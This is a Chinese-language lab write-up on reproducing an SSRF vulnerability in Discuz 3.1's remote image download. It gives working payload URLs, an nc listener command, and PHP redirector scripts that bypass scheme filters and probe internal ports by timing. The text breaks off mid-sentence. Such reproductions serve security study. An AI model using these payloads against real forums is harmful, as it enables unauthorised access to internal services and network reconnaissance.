一、环境搭建:
(一)Phpstudy+win7搭建discuz漏洞环境
(二)把Discuz-3.1 源码拖到网站根目录,然后访问upload目录进行安装,根据提示即可
(三)安装完成访问一波:
二、漏洞复现:
(一) Centos7,临时关闭防火墙
(二)开启nc监听6666端口:nc -lvp 6666
(三)查看centos7的ip
(四)利用discuz的漏洞向centos7发起一个请求:
http://192.168.136.132/discuz-ssrf/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.136.133:6666/?data=he2lo.jpg[/img]
(五)回到centos7查看结果,成功收到了请求
三、利用Header函数绕过限制;
(一) 限制原因:
很多网站不允许使用ftp dict gopher协议去请求的,所以需要php函数 header来绕过
(二)利用条件:一台公网服务器(搭建了php、apache等环境)。
(三)在公网服务器创建一个dict.php的文件内容为,:
<?php
header("location: dict://192.168.136.133:6666/info");
?>
(四) 然后在discuz中构造payload如下:http://192.168.136.132/discuz-ssrf/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.136.133/dict.php?data=he2lo.jpg[/img]
(五)并且在centos7开启监听:
(六) 回到centos7查看结果,成功接收到了请求info,成功利用header绕过限制,其他协议的绕过,改我们创建的php文件中的协议名称即可
四、 探测端口:
(一)先在公网服务器创建一个port.php文件,内容如下:
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port:$data");
?>
(二)构造payload:http://192.168.136.132/discuz-ssrf/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.136.133/port.php?s=ftp%26ip=127.0.0.1%26port=80%26data=he2lo.jpg[/img]
如果加载的时间很长,说明该端口是开放的。其中127.0.0.1地址就是discuz的